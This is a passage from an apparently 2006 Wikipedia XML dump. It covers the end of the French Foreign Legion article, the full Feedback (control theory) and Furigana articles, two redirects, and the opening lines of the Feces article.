It was in [[Mexico]] on [[30 April]] [[1863]] that the Legion earned its legendary status.  The small infantry patrol led by [[Capitaine Danjou]] numbering 62 soldiers and 3 officers was attacked and besieged by over two thousand[http://www.channel4.com/life/microsites/E/escape_to_the_legion/legion.html] Mexican infantry and cavalry units organized into 3 [[battalions]], and was forced to make a defense in '''Hacienda Camarón'''.  Despite the hopelessness of the situation they fought nearly to the last man.  Danjou was mortally wounded in the defense of the [[hacienda]], and the last of his men mounted a desperate [[bayonet]] attack.  When the last three survivors were asked to surrender, they insisted that the Mexican soldiers allow them safe passage back home, to keep their flag, and to escort the body of the fallen Danjou.  Upon seeing this, the Mexican commander commented, &quot;these are not men, they are devils,&quot; and out of respect agreed to these terms.

Today the &quot;Camerone Day&quot; is an important day of celebration for the Legionnaires, when the wooden prosthetic hand of Capitane Danjou is brought on display.

===Franco-Prussian War===

During the [[Franco-Prussian War]], the Legion attempted to lift the [[Siege of Paris]] by breaking through the German lines. They succeeded in taking [[Orléans]], but failed to break the siege.

===Colonial Warfare===

During the [[Third Republic]], the Legion played a major role in French colonial expansion.  They fought in North Africa (where they established their headquarters at [[Sidi-Bel-Abbès]] in [[Algeria]]), [[Madagascar]], and [[Indochina]], where they participated in the celebrated [[Sino-French War|defense of Tuyen Quang]] in 1885.

===The World Wars===

In [[World War I]] the Legion fought in many critical battles of the war, including the [[Battle of Verdun]]. The Legion was heavily decorated for its efforts in the war.

The Foreign Legion was heavily involved in [[World War II]], playing a large role in the Middle East and the North African campaign.  The 13th Demi-Brigade was deployed in the [[Battle of Bir Hakeim]].  Interestingly, part of the Legion was loyal to the [[Free French]] movement, yet another part was loyal to the [[Vichy France|Vichy]] government.  A battle in Syria saw two opposing sides fight against each other in a short engagement, and later on the Vichy Legion joined its Free French brethren.

===Indochina===

Units of the Legion were deployed in [[French Indochina]] and fought in the [[Franco-Chinese War]], and one battalion was the key component in the celebrated defense of the fortress of Tuyen Quang when it was assaulted by Chinese troops many times its number.

Units of the Legion were involved in the defense of [[Battle of Dien Bien Phu|Dien Bien Phu]] and lost a large number of their men in the battle.  Towards the desperate end of the battle, Legionnaires formed the bulk of the volunteer relief force which were delivered by parachute to the base.

==Membership==
While most of its [[commissioned officer|commissioned officers]] are French, approximately 10% are former legionnaires who have risen through the ranks.  The rest of the Legion is made up of men from a wide variety of nationalities, with French citizens representing 25-35% of the legionnaires.  The foreign volunteers are primarily European.  Before and during [[World War II]], many [[Jews]] from [[Eastern Europe]] fled to France and ended up enlisting in the legion.  Ironically, after the fall of the Third Reich, Germans (long a major presence in the legion) accounted for roughly sixty percent of the manpower, with many former [[German]]  troops coming directly from [[WWII]] [[POW]] camps ([[Bernard B. Fall]], a leading expert on French Indochina and author of ''Street without Joy'' and ''Hell in a Very Small Place'', disputes this fact and claims that at most Germans only made up thirty-five percent of the Legion in the post-WWII period).  The book ''[[Devil's Guard]]'' relates a former [[Waffen-SS]] member's brutal account of joining the Legion and fighting with fellow former [[Waffen-SS|SS]] against the [[Vietminh]] in Indochina.  During the mid 1980s the Legion contained large contingents of [[United Kingdom|British]] and [[Serbian]] nationals.  Present day has seen a number of recruits from [[African]] countries.

Interestingly, the Legion's ranks historically tend to be filled with enlistees from countries undergoing some sort of crisis. In recent generations, however, many of those joining have come from middle-class backgrounds in stable prosperous countries such as Britain and the US (and indeed France itself).

Legionnaires can choose to enlist under a [[pseudonym]] (&quot;declared identity&quot;) and a declared citizenship. This disposition exists in order to allow people who want to turn over a new leaf in their life to enlist. French citizens can enlist under a declared, fictitious, foreign citizenship (generally, a [[francophone]] one). After one year, legionnaires can regularize their situation under their true identity.

In the past, the Legion had a reputation for attracting [[crime|criminals]] on the run and would-be [[mercenary|mercenaries]]. In recent years, however, admission has been restricted much more severely and background checks are done on all applicants. Generally speaking, convicted felons are prohibited from joining the service.

After serving in the Legion for three years (out of a five-year initial enlistment), the legionnaire is allowed to apply for French citizenship. Furthermore, a soldier harmed in combat for France is also allowed to apply for French citizenship under a provision known as ''&quot;Français par le sang versé&quot;'' (&quot;French by spilled blood&quot;).

==Composition==
Previously, the Legion was not stationed in mainland France except in wartime. Until 1962 the Legion headquarters were stationed in Sidi-Bel-Abbès, [[Algeria]]. Nowadays, some units of the legion are in Corsica or overseas possessions, while the rest is in the south of mainland France. Current headquarters are in [[Aubagne]], [[France]], just outside [[Marseille]].

There are nine regiments and one independent sub-unit :
* Mainland [[France]]
** 1st Foreign Cavalry Regiment (1er REC), based in [[Orange, France|Orange]] ([[Vehicle armour|armour]]ed troops)
** 2nd Foreign Infantry Regiment (2e REI), based in [[Nîmes]],
** 1st Foreign Engineer Regiment (1er REG), based in Laudun;
** 2nd Foreign Engineer Regiment (2e REG), based in St Christol,
** 1st Foreign Regiment (1er RE), based in [[Aubagne]] (Legion [[headquarter]]s),
** 4th Foreign Regiment (4e RE), based in [[Castelnaudary]] (training);
* in [[Corsica]],
** 2nd Foreign Parachute Regiment (2e REP), based in [[Calvi]];
* [[Territoire d'outre-mer|French Overseas Territories]] and [[Collectivité d'outre-mer|Overseas Collectives]],
** 3rd Foreign Infantry Regiment (3e REI), based in [[French Guiana]],
** Foreign Legion Detachment in [[Mayotte]] (DLEM);
* Africa
** 13th Foreign Legion Demi-Brigade (13 DBLE), based in [[Djibouti]].

==Current Deployments==

These deployments are current as of November [[2005]]
* Operations exterieures (other than at home bases or on standard duties)
** Martinique - (Protection) - 2e REG / 2e Compagnie, RCS;
** Paris, France - VIGIPIRATE - 2e REI / 2 units, EM; 1er REG / 2 units;
** Montpelier - VIGIPIRATE - 2e REI / 1 unit;
** Perpignan - VIGIPIRATE - 2e REI / 1 unit;
** Guyane - (Protection) - 3e REI / 3e Compagnie; 1er REG / RCS;
** Cote D'Ivoire - (Intervention) - Operation LICORNE - 1er REC / 5e Squadron;
** Mayotte - (Prevention) - DLEM;
** Iles Glorieuses - (Prevention) - DLEM;
** Djibouti - (Prevention) - 13e DBLE; 2e REI / CAC, RCS; 2e REG / 1er Compagnie, RCS;
** Kosovo - (Intervention) - 2e REG / BATFRA.
** Afghanistan - (Intervention) - 2e REG / URH;
* Training Operations
** 2e REP - France (Corse) - Regimental Exercise 
** 1er REC - France (Provence/Alpes-Cotes D'Azur and Languedoc-Roussillon) - Ex. Amphibie &quot; Melaoria II&quot;- Exercise &quot;PC Garrigues &quot;Palmex II&quot;;
** 2e REI - France and United Kingdom - La Courtine, Ex. Cambrian Patrol and CIECM;
** 3e REI - Guyane - Stage Combat en Milieu Equatorial;
** 4e RE - Exercise Antarès with 17e RPG.

==Notable Members of the Légion Étrangère==
*[[Milorad Lukovic]]
*[[Dimitri Amilakhvari]]
*[[François Faber]]
*[[Ante Gotovina]]
*[[John F. &quot;Jack&quot; Hasey]]
*[[Ernst Jünger]]
*[[Marie Pierre Koenig|Pierre Koenig]]
*[[Arthur Koestler]]
*[[André Lalande (soldier)|André Lalande]]
*[[Raoul Lufbery]]
*[[Hélie de Saint Marc]] (former resistant deported to Buchenwald, participated in the Algiers putsch)
*[[Pierre Messmer]]
*[[Simon Murray]]
*[[Cole Porter]] (falsely claimed to be a member while living as a playboy in Paris)
*[[Alan Seeger]]
*[[Susan Travers]]
*[[HRH Prince Aage of Denmark]]
*[[Louis II, Prince of Monaco|HSH Prince Louis II of Monaco]]

==The Legion in popular culture==

The existence of the French Foreign Legion has led to a romantic view that it is a place for a wronged man to leave behind his old life to start a new one, but also that it is full of scoundrels and men escaping justice.  This view of the legion is common in [[literature]], and has been used for dramatic effect in many [[film|movies]], not the least of which are the several versions of ''[[Beau Geste]]''. The Legion is also depicted in the [[United States|U.S.]] [[comic strip]] ''[[Crock (comic strip)|Crock]]''.

There is a French song made famous by [[Edith Piaf]] called &quot;Mon Legionnaire&quot;.

The Foreign Legion adopted another Edith Piaf song as their own &quot;Je ne regrette rien&quot; during the 1950s and today is still a popular Legion 'chant' sung when on parade, adapting it to their unique marching cadence of 88 steps to the minute.

[[Ante Gotovina]]'s biography ''[[The General]]'', written by [[Croatia|Croatian]] writer [[Nenad Ivankovic]], is mainly about Gotovina's life in the Legion.

In the 1960s, the British boys' comic [[Eagle (comic)|Eagle]] featured a popular adventure strip called ''[[Luck of the Legion]]'', set in the classic period before WWI, of soldiers in blue coats, white kepi covers, white scarves and white trousers marching across endless desert under the gaze of treacherous Arab warriors.

Most recently, the Legion was revealed in a contemporary (July 2005) documentary ''Escape to the Legion'', commissioned by the [[United Kingdom|British]] television channel, [[Channel 4]]. In this four-part series, 11 volunteers with [[Bear Grylls]] explored the myths, romanticism and rigours of basic training in the French Foreign Legion.

Additionally, ''[[Legion of the Lost]]'' an autobiography by Jaime Salazar published in 2005, chronicles his experience as an American citizen who joined the legion out of boredom and disenfranchisement from white collar America.

The Foreign Legion was also portrayed in [[The Young Indiana Jones Chronicles]] TV series during [[WWI]].  

''[[Legionaire(film)|Legionaire]]'', starring [[Jean-Claude Van Damme]], depicted the Foreign Legion's battles against Algerian berbers. In the 1990 film &quot;Lionheart,&quot; Van Damme stars as a Legionaire who deserts in order to help his sister-in-law and niece after his brother is killed.

''[[The Mummy (1999 film)|The Mummy]]'', starring [[Brendan Fraser]], begins with Fraser's character, Rick O'Connell, a member of Foreign Legion and fighting in ruins of [[Hamunaptra]] ([[City of the Dead]]).

The [[1939]] comedy, ''[[Flying Deuces]]'' is one of the most popular films to star the duo [[Laurel and Hardy]]. The film begins with the pair joining the Foreign Legion and much of the comedy comes from their experiences. Laurel and Hardy had made an earlier comedy set in the Foreign Legion, [[Beau Hunks]], in [[1931]].

[[&quot;March or Die&quot;]] (1978), (also known in France as &quot;Marche ou Crève&quot;) stars [[Gene Hackman]] as Colonel Foster, an embittered Legion veteran of the Legion's heroic RMLE who returns to Algeria from the Western Front at end of WW1. He is ordered to chaperone an archaeological expedition into hostile Arab territory. The film also stars [[Max Von Sydow]], [[Catherine Deneuve]], [[Terence Hill]] and [[Ian Holm]].

In science fiction writer ''[[Jerry Pournelle]]'''s &quot;Future History&quot;, http://www.chronology.org/pournelle/, whose main character is a future soldier of fortune named John Christian Falkenberg, there is a central role to the [[CoDominium Navy]], which fights on all kinds of planets far away in space, and which had been created out of the French Foreign Legion and still keeps many of its traditions such as the aforementioned &quot;Camerone Day&quot;.

The movie, [[Savior (film)|Savior]], with [[Dennis Quaid]], is about an American who joins the legion after he shoots a group of Muslims (following a Muslim bombing of the restaurant where his wife and son were--both die). In the legion, Quaid is a sniper and is involved in the Bosnia/Serb/Croatian ethnic wars.

[[Snoopy]], from the [[Peanuts]] comic strip, often imagines himself as a member of the Foreign Legion, usually defending or reclaiming Fort Zinderneuf.

In a French sci-fi comic [[Aquablue]], the hero, Neo, must defend himself and his people against the Légion, an [[Earth Special Force]] which has exactly the same uniform as the Légion Étrangère.

The indie-rock band [[The Decemberists]] wrote a song called The Legionnaire's Lament about a homesick legionnaire during the first world war.

[[Frank Sinatra]] performed a song called &quot;[[French Foreign Legion (song)|French Foreign Legion]]&quot; about joining up if a girl doesn't marry him.

In the [[manga]] and [[anime]], [[Area 88]] the protagonist, Shin Kazama, was tricked while intoxicated into joining the French Foreign Legion to serve in a mercenary airforce in the fictional Asran Kingdom of North Africa. The office that handled his contracts was located in Paris, France.

David Drake, the author of the Hammer's Slammers series, bases his mercenary unit off of the French Foreign Legion. More specifically, the Legion after the Second World War, when most of its members had fled from persecution from the Allied War Crimes Commission.

==See also==
{{commons|French Foreign Legion}}
*[[Chasseurs d'Afrique]]
*[[French Marines]]
* [[Spanish Legion|Spanish Foreign Legion]]
* [[French Army]]

==External links==
* [http://www.legion-etrangere.com/ Official Website] 
* [http://www.br-legion.com/ang/index.html The Official Recruitment Office of the Foreign Legion]
* [http://french-foreign-legion.com/ French Foreign Legion information]
* [http://www.legionetrangere.fr/leg/default_zone/fr/html/framesfr.html Federation of Veteran Societies of the Foreign Legion]
* [http://www.info-france-usa.org/atoz/legion/index.asp French Embassy to US, Foreign Legion section]
* [http://www.cervens.net/legionbbs/ A Foreign Legion forum]
* [http://lib.ru/TXT/franclegion.txt Foreign Legion Info Site]
* [http://www.voltigeur1.net/ Foreign Legion Info Site by ex-legionnaire]
* [http://www.channel4.com/life/microsites/E/escape_to_the_legion/ Channel 4 documentary website]
* [http://www.LegionoftheLost.com &lt;i&gt;Legion of the Lost&lt;/i&gt; (non-fiction memoir)]
* [http://www.a-new-life.net/index2.html French Foreign Legion video links]
* [http://paginas.pavconhecimento.pt/pessoais/dw/Mario%5FZanatti/ The presentation of the Eurocorps-Foreign Legion concept] 
* [http://legionetrangere.ru/forum/ French Foreign Legion forum(in Russian)]
*[http://www.legion-etrangere.info/spip/article.php3?id_article=141 Les grades à la Légion étrangère (insignia) ]
*[http://www.legion-etrangere.info Legion information by a former légionnaire (en français)]
*[http://www.foreignlegionlife.com Foreign Legion life]

[[Category:French Army]]
[[Category:Soldiers of the French Foreign Legion|*]]
[[Category:1831 establishments]]

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[[de:Fremdenlegion]]
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    </revision>
  </page>
  <page>
    <title>Feedback</title>
    <id>11545</id>
    <revision>
      <id>41456954</id>
      <timestamp>2006-02-27T13:34:36Z</timestamp>
      <contributor>
        <username>Ttwaring</username>
        <id>220596</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">:''For other uses, including [[audio feedback]], see [[Feedback (disambiguation)]]''

Feedback is (generally) information about actions.

In [[cybernetics]] and [[control theory]], '''feedback''' is a process whereby some proportion or in general, function, of the output signal of a system is passed (fed back) to the input. Often this is done intentionally, in order to control the dynamic behaviour of the system. Feedback is observed or used in various areas dealing with complex systems, such as [[engineering]], [[architecture]], [[economics]], and [[biology]].

Lines are usually drawn, directed from input through the system and to output. The feedback is shown by another arrowed line, directed from output outside the system to an input, resulting in a loop on the diagram, called '''feedback loop'''. This notion is important; for example, the feedback loop is a convenient place for a control device.

The following is an example of a feedback loop used in web-based workflows.  Feedback Loops are established by ISPs for permission e-mail marketers to manage subscribers who click the &quot;This is Spam&quot; button in their web mail clients. The Feedback Loop sends a message back to the marketer letting them know to unsubscribe the subscriber.

==Types of feedback==

''Main articles:'' [[Negative feedback]], [[Positive feedback]]

Feedback may be [[negative feedback|negative]], which tends to reduce output (but in amplifiers, stabilises and linearises operation), or [[positive feedback|positive]], which tends to increase output. 
Systems which include feedback are prone to ''hunting'', which is [[oscillation]] of output resulting from improperly tuned inputs of first positive then negative feedback. Audio feedback typifies this form of oscillation.

===In electronic engineering===

The processing and control of feedback is engineered into many [[electronics|electronic]] devices and may also be embedded in other [[technology|technologies]].

The most common general-purpose controller is a [[PID controller|proportional-integral-derivative]] (PID) controller.  Each term of the PID controller copes with time.  The proportional term handles the present state of the system, the integral term handles its past, and the derivative or slope term tries to predict and handle the future.

If the signal is inverted on its way round the control loop, the system is said to have ''negative feedback''; otherwise, the feedback is said to be ''positive''.   Negative feedback is often deliberately introduced to increase the [[stability]] and accuracy of a system, as in the [[feedback amplifier]] invented by [[Harold Stephen Black]].  This scheme can fail if the input changes faster than the system can respond to it.  When this happens, the negative feedback signal begins to act as positive feedback, causing the output to [[oscillation|oscillate]] or ''hunt''.   Positive feedback is usually an unwanted consequence of system behaviour.

With mechanical devices, hunting can be severe enough to destroy the device.

[[Harry Nyquist]] was an electrical engineer who contributed the [[Nyquist plot]] for determining the stability of feedback systems.

===In mechanical engineering===

In ancient times, the [[float valve]] was used to regulate the flow of water in Greek and Roman [[water clock]]s; similar float valves are used to regulate fuel in a [[carburettor]] and also used to regulate tank water level in the [[flush toilet]].

The [[windmill]] was enhanced in [[1745]] by blacksmith [[Edmund Lee]] who added a fantail to keep the face of the windmill pointing into the wind. In [[1787]] [[Thomas Mead]] regulated the speed of rotation of a windmill by using a centrifugal pendulum to adjust the distance between the bedstone and the runner stone (i.e. to adjust the load).

The use of the [[centrifugal governor]] by [[James Watt]] in [[1788]] to regulate the speed of his [[steam engine]] was one factor leading to the [[Industrial Revolution]]. Steam engines also use float valves and pressure release valves as mechanical regulation devices. A [[mathematical analysis]] of Watt's governor was done by [[James Clerk Maxwell]] in [[1868]].

The [[SS Great Eastern|Great Eastern]] was one of the largest steamships of its time and employed a steam powered rudder with feedback mechanism designed in [[1866]] by [[J.McFarlane Gray]]. [[Joseph Farcot]] coined the word [[servo]] in [[1873]] to describe steam powered steering systems. Hydraulic servos were later used to position guns. [[Elmer Ambrose Sperry]] of the [[Sperry Corporation]] designed the first [[autopilot]] in [[1912]]. [[Nicolas Minorsky]] published a theoretical analysis of automatic ship steering in [[1922]] and described the [[PID controller]].

Internal combustion engines of the late [[20th century]] employed mechanical feedback mechanisms such as [[vacuum advance]] but mechanical feedback was replaced by electronic [[engine management systems]] once small, robust and powerful single-chip microcontrollers became affordable.

===In economics and finance===

A system prone to hunting (oscillating) is the [[stock market]], which has both positive and negative feedback mechanisms. This is due to cognitive and emotional factors belonging to the field of [[behavioral finance]]. For example, 
* When stocks are rising (a [[bull market]]), the belief that further rises are probable gives investors an incentive to buy (positive feedback); but the increased price of the [[stock|shares]], and the [[knowledge]] that there must be a peak after which the market will fall, ends up deterring buyers (negative feedback).  
* Once the market begins to fall regularly (a [[bear market]]), some investors may expect further losing days and refrain from buying (positive feedback), but others may buy because stocks become more and more of a bargain (negative feedback).

[[George Soros]] used the word reflexism to describe feedback in the financial markets and developed an investment theory based on this principle.

The conventional [[economic equilibrium]] model of supply and demand supports only ideal linear negative feedback and was heavily criticized by [[Paul Ormerod]] in his book &quot;The Death of Economics&quot; which in turn was criticized by traditional economists. This book was part of a change of perspective as economists started to recognise that [[Chaos Theory]] applied to nonlinear feedback systems including financial markets.

===In nature===

In [[biology|biological]] systems such as [[organism]]s, [[ecosystem]]s, or the [[biosphere]], most parameters must stay under control within a narrow range around a certain optimal level under certain environmental conditions. The deviation of the optimal value of the controlled parameter can result from the changes in internal and external environments. A change of some of the environmental conditions may also require change of that range to change for the system to function. The value of the parameter to maintain is recorded by a reception system and conveyed to a regulation module via an information channel. 

Biological systems contain many types of regulatory circuits, among which positive and negative feedbacks. ''Positive'' and ''negative'' don't imply consequences of the feedback have positive or negative final effect. The negative feedback loop tends to slow down a process, while the positive feedback loop tends to accelerate it.

Feedback and regulation are self related. The negative feedback helps to maintain stability in a system in spite of external changes. It is related to [[homeostasis]]. Positive feedback amplifies possibilities of divergences (evolution, change of goals); it is the condition to change, evolution, growth; it gives the system the ability to access new points of [[equilibrium]].

For example, in an organism, most positive feedbacks provide for fast autoexcitation of elements of endocrine and nervous systems (in particular, in stress responses conditions) and play a key role in regulation of morphogenesis, growth, and development of organs, all processes which are in essence a rapid escape from the initial state.
Homeostasis is especially visible in the [[nervous system|nervous]] and [[endocrine system|endocrine systems]] when considered at organism level.

Feedback is also central to the operations of [[gene]]s and [[gene regulatory network]]s.  [[Repressor protein|repressor]] (see [[Lac repressor]]) and [[activator protein|activator]] [[protein]]s are used to create genetic [[operon|operons]], which were identified by [[Francois Jacob]] and [[Jacques Monod]] in [[1961]] as ''feedback loops''.

Any self-regulating natural process involves feedback and is prone to hunting. A well known example in [[ecology]] is the oscillation of the population of [[snowshoe hare]]s due to predation from [[lynx]]es.

In [[zymology]], feedback serves as regulation of activity of an enzyme by its direct product(s) or downstream metabolite(s) in the metabolic pathway.

There is an ice-albedo positive feedback loop whereby melting snow exposes more dark ground (of lower [[albedo]]), which in turn absorbs heat and causes more snow to melt. This is part of the evidence of the danger of [[global warming]].

Compare with: [[feed-forward]]

===In organizations===

As an [[organization]] seeks to improve its performance, feedback helps it to make required adjustments.

Examples of feedback in organizations:
* [[Financial audit]]
* [[performance appraisal]]
* [[shareholder]] meetings
* customer surveys
* [[360-degree feedback]]

===In gaming===

In [[computer game]]s, feedback is an important and heavily exploited mechanism for controlling resources. Both positive and negative feedback loops can be used to alter the pacing, challenge, and sense of accomplishment in a game. For example, ''[[Unreal Tournament]]'''s practice mode offers an ''auto-adjust'' setting that causes the bots to attempt to match the player's skill level, keeping a more consistent level of challenge for different players; this is [[negative feedback]]. On the other hand, in ''[[Starcraft]]'', a player who has a small advantage in resources will be able to build more units, enabling them to seize more resource-rich territory and so gain a much larger advantage in resources; this is [[positive feedback]].

==Sources==

* Katie Salen and Eric Zimmerman. ''Rules of Play''. [[MIT Press]]. 2004. ISBN 0262240459. Chapter 18: Games as Cybernetic Systems.

==See also==
*[[Cybernetics]]
*[[Control theory]]
*[[Interaction]]
*[[Feedforward]]
*[[Low-key feedback]]
*[[Stability criterion]]
*[[Electrical engineering]]
*[[Perverse incentive]]
*[[Unintended consequence]]

[[Category:Control theory]]
[[Category:Cybernetics]]
[[Category:Electrical engineering]]

&lt;!--[[en:Feedback]]--&gt;

[[cs:Zpětná vazba]]
[[da:Feedback]]
[[de:Rückkopplung]]
[[es:Retroalimentación]]
[[fr:Rétroaction]]
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[[he:משוב]]
[[lt:Grįžtamasis ryšys]]
[[nl:Terugkoppeling]]
[[ja:フィードバック]]
[[no:Tilbakekobling]]
[[pl:Sprzężenie zwrotne]]
[[pt:Feedback (ciências)]]
[[ru:Обратная связь]]
[[sk:Spätná väzba]]
[[sl:Povratna zanka]]
[[fi:Takaisinkytkentä]]
[[sv:Återkoppling]]
[[zh:反馈]]</text>
    </revision>
  </page>
  <page>
    <title>Furigana</title>
    <id>11547</id>
    <revision>
      <id>40808801</id>
      <timestamp>2006-02-23T03:46:51Z</timestamp>
      <contributor>
        <ip>65.24.88.211</ip>
      </contributor>
      <comment>/* Appearance */</comment>
      <text xml:space="preserve">{{Japanese writing}}
'''Furigana''' ([[Japanese language|Japanese]]: ふりがな), are a [[Japanese language|Japanese]] reading aid. They consist of smaller [[kana]] printed next to a [[kanji]] or other character to indicate its [[pronunciation]]. In horizontal text, ''[[Yokogaki and tategaki|yokogaki]]'', they are placed above the line of text, while in vertical text, ''[[Yokogaki and tategaki|tategaki]]'', they are placed to the right of the line of text, as illustrated below. They are one type of [[ruby character|ruby]] text. ''Furigana'' are also known as '''yomigana''' or '''rubi''' in Japanese.

&lt;table cellpadding=10&gt;&lt;tr&gt;&lt;td&gt;
&lt;table&gt;&lt;tr&gt;
&lt;td&gt;&lt;font size=+2&gt;漢&lt;/font&gt;&lt;/td&gt;
&lt;td&gt;&lt;font size=-1&gt;か&lt;br&gt;ん&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;&lt;font size=+2&gt;字&lt;/font&gt;&lt;/td&gt;
&lt;td&gt;&lt;font size=-1&gt;じ&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;
&lt;/td&gt;&lt;td&gt;or&lt;/td&gt;&lt;td&gt;
&lt;table&gt;&lt;tr&gt;
&lt;td&gt;&lt;font size=-1&gt;かん&lt;/font&gt;&lt;/td&gt;
&lt;td&gt;&lt;font size=-1&gt;&lt;center&gt;じ&lt;/center&gt;&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;&lt;font size=+2&gt;漢&lt;/font&gt;&lt;/td&gt;
&lt;td&gt;&lt;font size=+2&gt;字&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

==Appearance==

Furigana may be added by character, in which case the part of a word which corresponds to a kanji is centered over that kanji; or by word or phrase, in which case the entire ''furigana'' word is centered over several characters, even if the kanji do not represent equal shares of the kana needed to write them. The latter method is more common, especially since some words in Japanese have [[ateji|unique pronunciations]] that are not related to any of the characters the word is written with.

When it is necessary to distinguish between native Japanese ''[[kanji|kun'yomi]]'' and [[Chinese language|Chinese]]-derived ''[[Kanji|on'yomi]]'' pronunciations, for example in [[Kanji dictionary|kanji dictionaries]], the Japanese pronunciations are written in [[hiragana]], and the Chinese ones are written in [[katakana]]. However, this distinction is really only important in dictionaries and other reference works. In ordinary prose, the script chosen will usually be [[hiragana]].  (The one general exception to this is Chinese place names, personal names, and (occasionally) food names -- these will often be written with kanji, and katakana used for the furigana.)

The distinction between regular kana and the smaller character forms, which are used in regular orthography to mark such things as [[gemination]] and [[palatalization]], is often not made in ''furigana'': for example, the usual [[hiragana]] spelling of the word 却下 (''kyakka'') is きゃっか, but in ''furigana'' it might be written きやつか. This was especially common in old-fashioned [[printing press|movable type]] printing when smaller fonts were not available. Nowadays, with computer-based printing systems, this occurs less frequently.

==Usage==
[[Image:JR_Namba_entrance.jpg|thumb|300px|On this sign, furigana indicate the pronunciation of the Latin letters &quot;JR&quot; and the [[kanji]] for &quot;Namba Station.&quot;]]
''Furigana'' are most commonly used in works for children, who may not have sufficiently advanced reading skills to recognise the kanji, but can understand the word when written phonetically in ''[[hiragana]]''. Because children learn ''hiragana'' before ''[[katakana]]'', in books for very young children, there are ''hiragana'' ''furigana'' next to the ''katakana'' characters.     It is common to use ''furigana'' on all kanji characters in works for young children. This is called ''sōrubi'' (総ルビ) in Japanese.

In works aimed at adult Japanese speakers, furigana may be used on a word written in uncommon kanji; in the mass media, they are generally used on words containing non-[[Jōyō kanji|Jōyō]] kanji.

Furigana commonly appear alongside kanji names and their romanizations on signs for railway stations, even if the pronunciation of the kanji is commonly known. Furigana also appear often on maps to show the pronunciation of unusual place names.

===For names===

Japanese names are usually written in [[kanji]]. Because there are many possible readings for kanji names, including special name-only readings called [[nanori]], furigana are often used to give the readings of names. On Japanese official forms, where the name is to be written, there is  always an adjacent column for the name to be written in ''furigana''. Usually ''katakana'' is preferred.

Furigana may also be used for foreign names written in kanji. Chinese and Korean names are the most common examples: Chinese names are usually pronounced with Japanese readings and the pronunciation written in hiragana, while Korean names are usually pronounced with Korean readings and the pronunciation written in katakana. Furigana may also be necessary in the rare case where names are transliterated into kanji from other languages (e.g., soccer star [[Ruy Ramos]] and activist [[Arudou Debito]]).

===In language learning===

Kanji and kanji compounds are often presented with ''furigana'' in Japanese language textbooks for non-native speakers.

''Furigana'' are also often used in foreign language textbooks for Japanese learners to indicate pronunciation. The words are written in the original foreign script, such as [[Hangul]] for [[Korean language|Korean]], and furigana is used to indicate the pronunciation. 



===Punning and double meaning===

Some writers use furigana to represent slang pronunciations, particularly those which would become hard to understand without the kanji to provide their meaning. 

Another use is to write the kanji for something which had been previously referenced, but write furigana for &quot;''sore''&quot; or &quot;''are''&quot;, meaning &quot;that&quot;, indicating that the characters simply refer to it with a pronoun, but clarifying for the reader what thing was meant.

In ''[[karaoke]]'' it is extremely common for ''furigana'' to be placed on the song lyrics. The song lyrics are often written in kanji pronounced quite differently from the ''furigana''. The ''furigana'' version is used for pronunciation.

Also, because the kanji represent meaning while the ''furigana'' represent sound, one can combine the two to create [[pun]]s or indicate meanings of foreign words. One might write the kanji for &quot;blue&quot;, but use katakana to write the pronunciation of the English word &quot;blue&quot;; this may be done, for example, in Japanese subtitles on foreign films, where it can help associate the written Japanese with the sounds actually being spoken by the actors, or it may be used in a translation of a work of fiction to enable the translator to preserve the original sound of a proper name (such as &quot;Firebolt&quot; in the Harry Potter series) in furigana, while simultaneously indicating its meaning with kanji. A similar practice is used in native fiction to produce double meanings: for example, the word &quot;Earth&quot; (chikyuu) might be written with &quot;homeland&quot; (furusato) as the reading in a work of science fiction.

==Other Japanese reading aids==

===Kunten===

In the written style known as ''[[kanbun]]'', which is the Japanese approximation of [[Classical Chinese]], small marks called ''[[kunten]]'' are sometimes added as reading aids. Unlike furigana, which indicate pronunciation, ''kunten'' indicate Japanese grammatical structures absent from the ''kanbun'', as well as showing how words should be reordered to fit Japanese sentence structure.

===Furikanji===

Furigana are sometimes also used to indicate meaning, rather than pronunciation. Over the foreign text smaller sized Japanese words, in kana or kanji, corresponding to the ''meaning'' of the foreign words, effectively translate it in place. While rare now, some late [[19th century|19th]] - early [[20th century]] authors used kanji as furigana for [[loanword]]s written in katakana. This usage is called ''furikanji'' (振り漢字) in Japanese, since ''furigana'' implies the use of ''[[kana]]''.

==External links==

*[http://www.honco.net/japanese/04/index.html Pictures of various types of furigana] from [[Dai Nippon Printing]].

[[Category:Japanese terms]] 
[[Category:Japanese writing system]]
[[Category:Kana]]

[[ca:Furigana]]
[[de:Furigana]]
[[es:Furigana]]
[[fr:Furigana]]
[[gl:Furigana]]
[[ja:振り仮名]]
[[pt:Furigana]]
[[fi:Furigana]]
[[zh:振假名]]</text>
    </revision>
  </page>
  <page>
    <title>Fiscal calendar</title>
    <id>11548</id>
    <revision>
      <id>15909291</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fiscal year]]
</text>
    </revision>
  </page>
  <page>
    <title>Faeces</title>
    <id>11549</id>
    <revision>
      <id>33435134</id>
      <timestamp>2006-01-01T01:23:38Z</timestamp>
      <contributor>
        <username>Shanel</username>
        <id>301280</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/80.6.18.157|80.6.18.157]] ([[User talk:80.6.18.157|talk]]) to last version by Lupo</comment>
      <text xml:space="preserve">#REDIRECT [[Feces]]</text>
    </revision>
  </page>
  <page>
    <title>Feces</title>
    <id>11550</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42135202</id>
      <timestamp>2006-03-04T01:27:53Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Gmalz33|Gmalz33]] ([[User talk:Gmalz33|talk]]) to last version by 207.155.16.101</comment>
      <text xml:space="preserve">:''This biological article about feces refers to animals in general. For feces derived from the human body, see '''[[human feces]]'''.''
[[Image:rabbitpoop.jpg|thumb|right|200px|Rabbit feces are usually 8-10 mm in diameter and dry to the touch.]]
